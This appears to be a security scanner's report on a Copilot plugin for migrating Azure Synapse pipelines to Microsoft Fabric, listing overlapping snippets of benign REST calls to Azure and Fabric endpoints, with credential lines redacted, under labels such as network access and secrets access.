| List all pipelines | `GET https://{ws}.dev.azuresynapse.net/pipelines?api-version=2020-12-01` | - Network accessline 101
| Get pipeline definition | `GET https://{ws}.dev.azuresynapse.net/pipelines/{name}?api-version=2020-12-01` | - Network accessline 102
| List all datasets | `GET https://{ws}.dev.azuresynapse.net/datasets?api-version=2020-12-01` | - Network accessline 103
| Get dataset definition | `GET https://{ws}.dev.azuresynapse.net/datasets/{name}?api-version=2020-12-01` | - Network accessline 104
| List all linked services | `GET https://{ws}.dev.azuresynapse.net/linkedservices?api-version=2020-12-01` | - Network accessline 105
| Get linked service | `GET https://{ws}.dev.azuresynapse.net/linkedservices/{name}?api-version=2020-12-01` | - Network accessline 106
| Get workspace (global parameters) | `GET https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}?api-version=2021-06-01` | - Network accessline 110
| Operation | Endpoint | |---|---| | List connections | `GET https://api.fabric.microsoft.com/v1/connections` | - Network accessline 111
|---|---| | List connections | `GET https://api.fabric.microsoft.com/v1/connections` | | Create connection | `POST https://api.fabric.microsoft.com/v1/connections` | - Network accessline 112
| List connections | `GET https://api.fabric.microsoft.com/v1/connections` | - Network accessline 113
| Create connection | `POST https://api.fabric.microsoft.com/v1/connections` | - Network accessline 114
| Create pipeline item | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items` | - Network accessline 115
| Update pipeline definition | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items/{id}/updateDefinition` | - Network accessline 116
| Get pipeline definition | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items/{id}/getDefinition` | - Network accessline 117
| Create Variable Library | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items` (type: `VariableLibrary`) | - Network accessline 118
| List notebooks in workspace | `GET https://api.fabric.microsoft.com/v1/workspaces/{wsId}/notebooks` |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/activity-mapping.md
- Network accessline 256
"type": "WebActivity", "typeProperties": { "url": "https://api.example.com/data", - Network accessline 257
"typeProperties": { "url": "https://api.example.com/data", "method": "POST", - Network accessline 258
"url": "https://api.example.com/data", - Network accessline 267
"authentication": { "type": "MSI", "resource": "https://management.azure.com/" - Network accessline 268
"type": "MSI", "resource": "https://management.azure.com/" } - Network accessline 269
"resource": "https://management.azure.com/" - Network accessline 318
"authentication": { "type": "MSI", "resource": "https://vault.azure.net" - Network accessline 319
"type": "MSI", "resource": "https://vault.azure.net" } - Network accessline 320
"resource": "https://vault.azure.net"
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/dataset-inlining.md
- Network accessline 26
[Credential-related source omitted] - Network accessline 27
SYNAPSE_ENDPOINT = "https://myworkspace.dev.azuresynapse.net" - Network accessline 32
items = [] while url: r = requests.get(url, headers=headers) - Network accessline 33
while url: r = requests.get(url, headers=headers) r.raise_for_status() - Network accessline 34
r = requests.get(url, headers=headers)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/global-parameters-to-variable-library.md
- Network accessline 45
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Network accessline 46
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Network accessline 47
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Synapse/workspaces/${SYNAPSE_WORKSPACE}?api-version=2021-06-01" \ - Network accessline 86
{ "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#", - Network accessline 87
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#", - Network accessline 122
{ "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#", - Network accessline 123
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#", - Network accessline 131
{ "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#", - Network accessline 132
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#", - Access to secretsline 164
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Network accessline 219
return { "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#", - Network accessline 220
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#", - Network accessline 226
"""Build a value set from variables definition (copies default values).""" return { "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#" - Network accessline 227
return { "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#", "name": name, - Network accessline 228
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#", - Network accessline 258
settings_content = { "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#", - Network accessline 259
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#", - Network accessline 293
r = requests.post( - Network accessline 294
f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/items", - Network accessline 314
if location: if location.startswith("/"): location = f"https://api.fabric.microsoft.com{location}" - Network accessline 315
if location.startswith("/"): location = f"https://api.fabric.microsoft.com{location}" fetched = requests.get(location, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 316
location = f"https://api.fabric.microsoft.com{location}" fetched = requests.get(location, headers=headers, timeout=_HTTP_TIMEOUT) fetched.raise_for_status() - Network accessline 317
fetched = requests.get(location, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 329
operation_id = r.headers.get("x-ms-operation-id") if not op_url and operation_id: op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}" - Network accessline 330
if not op_url and operation_id: op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}" if not op_url: - Network accessline 331
op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}" - Network accessline 333
raise RuntimeError("202 response with no LRO URL header") # Resolve relative LRO URLs (e.g. "/v1/operations/...") against the # Fabric base so requests.get() receives a valid absolute URL, - Network accessline 334
# Resolve relative LRO URLs (e.g. "/v1/operations/...") against the # Fabric base so requests.get() receives a valid absolute URL, # matching the normalization used in pipeline-orchestrator.md. - Network accessline 335
# Fabric base so requests.get() receives a valid absolute URL, - Network accessline 336
# matching the normalization used in pipeline-orchestrator.md. if op_url.startswith("/"): op_url = f"https://api.fabric.microsoft.com{op_url}" - Network accessline 337
if op_url.startswith("/"): op_url = f"https://api.fabric.microsoft.com{op_url}" import time - Network accessline 338
op_url = f"https://api.fabric.microsoft.com{op_url}" - Access to secretsline 343
[Credential-related source omitted] - Access to secretsline 344
[Credential-related source omitted] - Network accessline 349
sleep_s = float(retry_after) if retry_after else base_poll_interval time.sleep(sleep_s) poll = requests.get(op_url, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 350
time.sleep(sleep_s) poll = requests.get(op_url, headers=headers, timeout=_HTTP_TIMEOUT) poll.raise_for_status() - Network accessline 351
poll = requests.get(op_url, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 366
if resource_loc: if resource_loc.startswith("/"): resource_loc = f"https://api.fabric.microsoft.com{resource_loc}" - Network accessline 367
if resource_loc.startswith("/"): resource_loc = f"https://api.fabric.microsoft.com{resource_loc}" created = requests.get(resource_loc, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 368
resource_loc = f"https://api.fabric.microsoft.com{resource_loc}" created = requests.get(resource_loc, headers=headers, timeout=_HTTP_TIMEOUT) created.raise_for_status() - Network accessline 369
created = requests.get(resource_loc, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 488
prod_value_set = { "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#", - Network accessline 489
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/linked-service-to-connection.md
- Network accessline 68
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Network accessline 69
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Network accessline 70
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 78
POST https://api.fabric.microsoft.com/v1/connections - Network accessline 81
Connection creation requires `connectivityType`, `displayName`, `connectionDetails` (with `type`, `creationMethod`, and `parameters`), and `credentialDetails` (with `credentials` nested inside). Connector identity comes from `connectionDeta - Network accessline 88
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Network accessline 89
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Network accessline 90
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 116
> **Payload shape (critical):** Per the [Create Connection REST API](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection), the body has **no top-level `connectorId` field**. Connector identity comes from `co - Network accessline 121
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Network accessline 122
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Network accessline 123
--url "https://api.fabric.microsoft.com/v1/connections" \ - Access to secretsline 162
[Credential-related source omitted] - Dangerous shell operationline 165
> rm /tmp/conn_body.json - Access to secretsline 170
[Credential-related source omitted] - Access to secretsline 177
[Credential-related source omitted] - Access to secretsline 180
[Credential-related source omitted] - Network accessline 207
[Credential-related source omitted] - Network accessline 208
SYNAPSE_ENDPOINT = "https://myworkspace.dev.azuresynapse.net" - Network accessline 213
items = [] while url: r = requests.get(url, headers=headers) - Network accessline 214
while url: r = requests.get(url, headers=headers) r.raise_for_status() - Network accessline 215
r = requests.get(url, headers=headers) - Network accessline 248
> **Convention note (display name vs GUID)**: This skill standardizes on the connection **display name** in pipeline activity `linkedService.referenceName` blocks. The canonical Copy-activity alternative is to reference the connection **GUI - Network accessline 264
Use the values (GUIDs) only for Fabric API calls that require a connection ID. """ url = "https://api.fabric.microsoft.com/v1/connections" - Network accessline 265
""" url = "https://api.fabric.microsoft.com/v1/connections" connections = {} - Network accessline 266
url = "https://api.fabric.microsoft.com/v1/connections" - Network accessline 267
connections = {} while url: r = requests.get(url, headers=headers) - Network accessline 268
while url: r = requests.get(url, headers=headers) r.raise_for_status() - Network accessline 269
r = requests.get(url, headers=headers) - Network accessline 277
# breaks pagination on workspaces with > 1 page of connections. url = ( f"https://api.fabric.microsoft.com/v1/connections" - Network accessline 278
url = ( f"https://api.fabric.microsoft.com/v1/connections" f"?continuationToken={quote(cont, safe='')}" - Network accessline 279
f"https://api.fabric.microsoft.com/v1/connections"
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/migration-report.md
- Network accessline 9
| Item | URL Pattern | |---|---| | DataPipeline | `https://app.fabric.microsoft.com/groups/{workspaceId}/datapipelines/{itemId}` | - Network accessline 10
|---|---| | DataPipeline | `https://app.fabric.microsoft.com/groups/{workspaceId}/datapipelines/{itemId}` | | Notebook | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapsenotebooks/{itemId}` | - Network accessline 11
| DataPipeline | `https://app.fabric.microsoft.com/groups/{workspaceId}/datapipelines/{itemId}` | - Network accessline 12
| Notebook | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapsenotebooks/{itemId}` | - Network accessline 13
| Variable Library | `https://app.fabric.microsoft.com/groups/{workspaceId}/variablelibraries/{itemId}` | - Network accessline 14
| Workspace | `https://app.fabric.microsoft.com/groups/{workspaceId}` | - Network accessline 68
def fabric_url(self) -> Optional[str]: if self.fabric_pipeline_id and self.fabric_workspace_id: return (f"https://app.fabric.microsoft.com/groups/{self.fabric_workspace_id}" - Network accessline 69
if self.fabric_pipeline_id and self.fabric_workspace_id: return (f"https://app.fabric.microsoft.com/groups/{self.fabric_workspace_id}" f"/datapipelines/{self.fabric_pipeline_id}") - Network accessline 70
return (f"https://app.fabric.microsoft.com/groups/{self.fabric_workspace_id}" - Network accessline 177
workspace_url = f"https://app.fabric.microsoft.com/groups/{fabric_workspace_id}" - Network accessline 200
if variable_library_id: vl_url = f"https://app.fabric.microsoft.com/groups/{fabric_workspace_id}/variablelibraries/{variable_library_id}" - Network accessline 201
vl_url = f"https://app.fabric.microsoft.com/groups/{fabric_workspace_id}/variablelibraries/{variable_library_id}" - Network accessline 389
**Source**: Synapse workspace `mysynapse` **Target**: [Fabric Workspace](https://app.fabric.microsoft.com/groups/dddd-...) - Network accessline 390
**Target**: [Fabric Workspace](https://app.fabric.microsoft.com/groups/dddd-...) - Network accessline 404
Global parameters migrated to: [aaaa-...](https://app.fabric.microsoft.com/groups/.../variablelibraries/aaaa-...)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/notebook-activity-migration.md
- Network accessline 259
[Credential-related source omitted] - Access to secretsline 259
[Credential-related source omitted] - Network accessline 260
[Credential-related source omitted] - Access to secretsline 260
[Credential-related source omitted] - Network accessline 261
--url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/notebooks" \ - Network accessline 268
[Credential-related source omitted] - Access to secretsline 268
[Credential-related source omitted] - Network accessline 269
[Credential-related source omitted] - Access to secretsline 269
[Credential-related source omitted] - Network accessline 270
--url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/notebooks" \ - Access to secretsline 282
[Credential-related source omitted] - Access to secretsline 283
[Credential-related source omitted] - Network accessline 287
[Credential-related source omitted] - Network accessline 288
[Credential-related source omitted] - Network accessline 289
url = f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks" - Network accessline 290
notebooks = {} while url: r = requests.get(url, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 291
while url: r = requests.get(url, headers=headers, timeout=_HTTP_TIMEOUT) r.raise_for_status() - Network accessline 292
r = requests.get(url, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 300
# the raw token into the query string breaks pagination. url = ( f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks" - Network accessline 301
url = ( f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks" f"?continuationToken={quote(cont, safe='')}" - Network accessline 302
f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks"
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/pipeline-assessment.md
- Network accessline 32
> **Synapse Studio URL shortcut**: If the user provides a URL like `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.Synapse%2Fworkspaces%2F{wsName}`, extract all thre - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted] - Network accessline 186
items = [] while url: r = requests.get(url, headers=headers, timeout=HTTP_TIMEOUT) - Network accessline 187
while url: r = requests.get(url, headers=headers, timeout=HTTP_TIMEOUT) r.raise_for_status() - Network accessline 188
r = requests.get(url, headers=headers, timeout=HTTP_TIMEOUT) - Network accessline 197
"""Fetch Synapse workspace global parameters via ARM.""" url = ( f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}" - Network accessline 198
url = ( f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}" f"/providers/Microsoft.Synapse/workspaces/{ws_name}?api-version=2021-06-01" - Network accessline 199
f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}" - Network accessline 200
[Credential-related source omitted] - Network accessline 201
[Credential-related source omitted] - Network accessline 202
[Credential-related source omitted] - Network accessline 330
ls_classifications """ dp_base = f"https://{synapse_workspace_name}.dev.azuresynapse.net" - Network accessline 332
dp_base = f"https://{synapse_workspace_name}.dev.azuresynapse.net" - Network accessline 369
# The /pipelines list endpoint returns stubs without properties.activities. # Fetch the full definition so walk_activities sees the real activity tree. r = requests.get( - Network accessline 370
# Fetch the full definition so walk_activities sees the real activity tree. r = requests.get( f"{dp_base}/pipelines/{pl_name}?api-version=2020-12-01", - Network accessline 371
r = requests.get( - Network accessline 723
[Credential-related source omitted] - Network accessline 724
[Credential-related source omitted]
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/pipeline-gotchas.md
- Network accessline 75
**Resolution**: 1. Install the **on-premises data gateway** on the same machine or network as the SHIR - Download: https://aka.ms/odg/download - Network accessline 76
1. Install the **on-premises data gateway** on the same machine or network as the SHIR - Download: https://aka.ms/odg/download - Register under the same tenant as the Fabric workspace - Network accessline 77
- Download: https://aka.ms/odg/download - Network accessline 114
[Credential-related source omitted] - Network accessline 115
[Credential-related source omitted] - Network accessline 116
base = f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/datapipelines" - Network accessline 117
items, url = [], base while url: r = requests.get(url, headers=headers) - Network accessline 118
while url: r = requests.get(url, headers=headers) r.raise_for_status() - Network accessline 119
r = requests.get(url, headers=headers) - Network accessline 162
"authentication": { "type": "MSI", "resource": "https://vault.azure.net" - Network accessline 163
"type": "MSI", "resource": "https://vault.azure.net" } - Network accessline 164
"resource": "https://vault.azure.net" - Network accessline 241
"type": "WebActivity", "typeProperties": { "url": "https://management.azure.com/subscriptions/.../factories/<adf>/pipelines/<pipeline>/createRun?api-version=2018-06-01", - Network accessline 242
"typeProperties": { "url": "https://management.azure.com/subscriptions/.../factories/<adf>/pipelines/<pipeline>/createRun?api-version=2018-06-01", "method": "POST", - Network accessline 243
"url": "https://management.azure.com/subscriptions/.../factories/<adf>/pipelines/<pipeline>/createRun?api-version=2018-06-01", - Network accessline 244
"method": "POST", "authentication": { "type": "MSI", "resource": "https://management.azure.com/" }, "body": { "runDate": "@pipeline().parameters.runDate" } - Network accessline 245
"authentication": { "type": "MSI", "resource": "https://management.azure.com/" }, - Network accessline 267
"url": "https://<vault-name>.vault.azure.net/secrets/databricks-token?api-version=7.4", "method": "GET", "authentication": { "type": "MSI", "resource": "https://vault.azure.net" } - Network accessline 268
"method": "GET", "authentication": { "type": "MSI", "resource": "https://vault.azure.net" } } - Network accessline 269
"authentication": { "type": "MSI", "resource": "https://vault.azure.net" }
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/pipeline-orchestrator.md
- Network accessline 35
> **Synapse Studio URL shortcut**: If the user provides a URL like `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.Synapse%2Fworkspaces%2F{wsName}`, extract all thre - Network accessline 97
[Credential-related source omitted] - Network accessline 98
[Credential-related source omitted] - Network accessline 99
[Credential-related source omitted] - Network accessline 103
SYNAPSE_BASE = f"https://{SYNAPSE_WS}.dev.azuresynapse.net" - Network accessline 104
FABRIC_BASE = "https://api.fabric.microsoft.com/v1" - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Network accessline 115
def synapse_get(path): r = requests.get(f"{SYNAPSE_BASE}{path}", - Network accessline 116
r = requests.get(f"{SYNAPSE_BASE}{path}", - Network accessline 128
items, url = [], f"{SYNAPSE_BASE}{path}" while url: r = requests.get(url, - Network accessline 129
[Credential-related source omitted] - Network accessline 130
r = requests.get(url, - Network accessline 139
def fabric_get(path): r = requests.get(f"{FABRIC_BASE}{path}", - Network accessline 140
r = requests.get(f"{FABRIC_BASE}{path}", - Network accessline 158
[Credential-related source omitted] - Network accessline 159
[Credential-related source omitted] - Network accessline 160
[Credential-related source omitted] - Network accessline 169
def fabric_post(path, body): r = requests.post(f"{FABRIC_BASE}{path}", - Network accessline 170
r = requests.post(f"{FABRIC_BASE}{path}", - Network accessline 189
# Resolve relative URLs against the Fabric base. if location.startswith("/"): location = f"https://api.fabric.microsoft.com{location}" - Network accessline 190
if location.startswith("/"): location = f"https://api.fabric.microsoft.com{location}" fetched = requests.get(location, - Network accessline 191
[Credential-related source omitted] - Network accessline 192
fetched = requests.get(location, - Network accessline 205
r.headers.get("Location") or r.headers.get("Operation-Location") or (f"https://api.fabric.microsoft.com/v1/operations/{r.headers['x-ms-operation-id']}" - Network accessline 206
or r.headers.get("Operation-Location") or (f"https://api.fabric.microsoft.com/v1/operations/{r.headers['x-ms-operation-id']}" if "x-ms-operation-id" in r.headers else None) - Network accessline 207
or (f"https://api.fabric.microsoft.com/v1/operations/{r.headers['x-ms-operation-id']}" - Network accessline 214
# matching the 200/201 path above. if location.startswith("/"): location = f"https://api.fabric.microsoft.com{location}" - Network accessline 215
if location.startswith("/"): location = f"https://api.fabric.microsoft.com{location}" max_polls = int(os.environ.get("FABRIC_LRO_MAX_POLLS", 150)) # default ~5 min at 2 s base - Network accessline 216
location = f"https://api.fabric.microsoft.com{location}" - Access to secretsline 217
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Network accessline 224
time.sleep(float(initial_retry) if initial_retry else base_sleep) for _ in range(max_polls): poll = requests.get(location, - Network accessline 225
[Credential-related source omitted] - Network accessline 226
poll = requests.get(location, - Network accessline 238
if resource_url: if resource_url.startswith("/"): resource_url = f"https://api.fabric.microsoft.com{resource_url}" - Network accessline 239
if resource_url.startswith("/"): resource_url = f"https://api.fabric.microsoft.com{resource_url}" item = requests.get(resource_url, - Network accessline 240
[Credential-related source omitted] - Network accessline 241
item = requests.get(resource_url, - Network accessline 557
}) pid = resp.get("id", "unknown") url = f"https://app.fabric.microsoft.com/groups/{FABRIC_WS_ID}/datapipelines/{pid}" - Network accessline 558
pid = resp.get("id", "unknown") url = f"https://app.fabric.microsoft.com/groups/{FABRIC_WS_ID}/datapipelines/{pid}" print(f" [OK] Created: {name} (id: {pid})") - Network accessline 559
url = f"https://app.fabric.microsoft.com/groups/{FABRIC_WS_ID}/datapipelines/{pid}" - Network accessline 574
| Value | Derived From | |---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | - Network accessline 575
|---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | | Fabric workspace ID | `GET /v1/workspaces` → JMESPath filter by `displayName` | - Network accessline 576
| Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | - Network accessline 640
[Credential-related source omitted] - Network accessline 641
[Credential-related source omitted] - Network accessline 642
--resource https://dev.azuresynapse.net \ - Network accessline 645
[Credential-related source omitted] - Network accessline 646
[Credential-related source omitted] - Network accessline 647
--resource https://management.azure.com \ - Network accessline 650
[Credential-related source omitted] - Network accessline 651
[Credential-related source omitted] - Network accessline 652
--resource https://api.fabric.microsoft.com \ - Network accessline 655
SYNAPSE_WS="mysynapseworkspace" SYNAPSE_ENDPOINT="https://${SYNAPSE_WS}.dev.azuresynapse.net" - Network accessline 656
SYNAPSE_ENDPOINT="https://${SYNAPSE_WS}.dev.azuresynapse.net" - Access to secretsline 667
[Credential-related source omitted] - Access to secretsline 668
[Credential-related source omitted] - Access to secretsline 677
[Credential-related source omitted] - Access to secretsline 678
[Credential-related source omitted] - Access to secretsline 687
[Credential-related source omitted] - Access to secretsline 688
[Credential-related source omitted] - Access to secretsline 697
[Credential-related source omitted] - Access to secretsline 698
[Credential-related source omitted] - Network accessline 710
[Credential-related source omitted] - Access to secretsline 710
[Credential-related source omitted] - Network accessline 711
[Credential-related source omitted] - Access to secretsline 711
[Credential-related source omitted] - Network accessline 712
--url "https://management.azure.com/subscriptions/${SUB_ID}/resourceGroups/${RG}/providers/Microsoft.Synapse/workspaces/${SYNAPSE_WS}?api-version=2021-06-01" \ - Network accessline 763
[Credential-related source omitted] - Access to secretsline 763
[Credential-related source omitted] - Network accessline 764
[Credential-related source omitted] - Access to secretsline 764
[Credential-related source omitted] - Network accessline 765
--url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/notebooks" \ - Network accessline 852
response = requests.post( - Network accessline 853
f"https://api.fabric.microsoft.com/v1/workspaces/{FABRIC_WS_ID}/items", - Network accessline 890
[Credential-related source omitted] - Access to secretsline 890
[Credential-related source omitted] - Network accessline 891
[Credential-related source omitted] - Access to secretsline 891
[Credential-related source omitted] - Network accessline 892
--url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/items/${PIPELINE_ITEM_ID}/updateDefinition" \ - Network accessline 914
[Credential-related source omitted] - Network accessline 915
SYNAPSE_ENDPOINT = "https://myworkspace.dev.azuresynapse.net" - Network accessline 919
items = [] while url: r = requests.get(url, headers=headers, timeout=60) - Network accessline 920
while url: r = requests.get(url, headers=headers, timeout=60) r.raise_for_status() - Network accessline 921
r = requests.get(url, headers=headers, timeout=60) - Network accessline 941
# The list endpoint returns stubs — properties.activities is often omitted. # Fetch each pipeline definition to get the real activity list. r = requests.get( - Network accessline 942
# Fetch each pipeline definition to get the real activity list. r = requests.get( f"{SYNAPSE_ENDPOINT}/pipelines/{name}?api-version=2020-12-01", - Network accessline 943
r = requests.get( - Network accessline 993
[Credential-related source omitted] - Network accessline 994
[Credential-related source omitted] - Network accessline 995
[Credential-related source omitted] - Network accessline 1003
[Credential-related source omitted] - Network accessline 1004
[Credential-related source omitted] - Network accessline 1005
[Credential-related source omitted]
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/validation-testing.md
- Network accessline 29
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Network accessline 31
--url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/items/${PIPELINE_ITEM_ID}/getDefinition" - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 56
[Credential-related source omitted] - Network accessline 58
# Start getDefinition r = requests.post( - Network accessline 59
r = requests.post( - Network accessline 60
f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/items/{pipeline_item_id}/getDefinition", - Network accessline 84
operation_id = r.headers.get("x-ms-operation-id") if not op_url and operation_id: op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}" - Network accessline 85
if not op_url and operation_id: op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}" if not op_url: - Network accessline 86
op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}" - Network accessline 98
# Some Fabric endpoints return a relative Location/Operation-Location # (e.g. "/v1/operations/..."). Resolve against the Fabric base before # polling so requests.get() receives a valid absolute URL. - Network accessline 99
# (e.g. "/v1/operations/..."). Resolve against the Fabric base before # polling so requests.get() receives a valid absolute URL. if op_url.startswith("/"): - Network accessline 100
# polling so requests.get() receives a valid absolute URL. - Network accessline 102
op_url = f"https://api.fabric.microsoft.com{op_url}" - Network accessline 108
sleep_s = float(retry_after) if retry_after else base_poll_interval time.sleep(sleep_s) poll = requests.get(op_url, headers=headers, timeout=http_timeout) - Network accessline 109
time.sleep(sleep_s) poll = requests.get(op_url, headers=headers, timeout=http_timeout) poll.raise_for_status() - Network accessline 110
poll = requests.get(op_url, headers=headers, timeout=http_timeout) - Network accessline 117
if result_url: if result_url.startswith("/"): result_url = f"https://api.fabric.microsoft.com{result_url}" - Network accessline 118
if result_url.startswith("/"): result_url = f"https://api.fabric.microsoft.com{result_url}" # Fetch and validate the resourceLocation payload defensively: - Network accessline 119
result_url = f"https://api.fabric.microsoft.com{result_url}" # Fetch and validate the resourceLocation payload defensively: # raise on 4xx/5xx, and guard r.json() on an empty 200 body so - Network accessline 121
# raise on 4xx/5xx, and guard r.json() on an empty 200 body so # the success path can't fail with a confusing ValueError. result_resp = requests.get(result_url, headers=headers, timeout=http_timeout) - Network accessline 122
# the success path can't fail with a confusing ValueError. result_resp = requests.get(result_url, headers=headers, timeout=http_timeout) result_resp.raise_for_status() - Network accessline 123
result_resp = requests.get(result_url, headers=headers, timeout=http_timeout) - Possible obfuscationline 174
return json.loads(base64.b64decode(payload).decode()) - Access to secretsline 217
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Network accessline 230
r = requests.post( - Network accessline 231
f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/datapipelines/{pipeline_item_id}/jobs/instances?jobType=Pipeline", - Network accessline 253
while time.time() < deadline: r = requests.get( - Network accessline 254
r = requests.get( - Network accessline 255
f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/datapipelines/{pipeline_item_id}/jobs/instances/{job_instance_id}",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/README.md
- Network accessline 34
This plugin is part of [Awesome Copilot](https://github.com/github/awesome-copilot), a community-driven collection of GitHub Copilot extensions.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/agents/power-bi-visualization-expert.agent.md
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/plugin.json
- Network accessline 1
{ "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 2
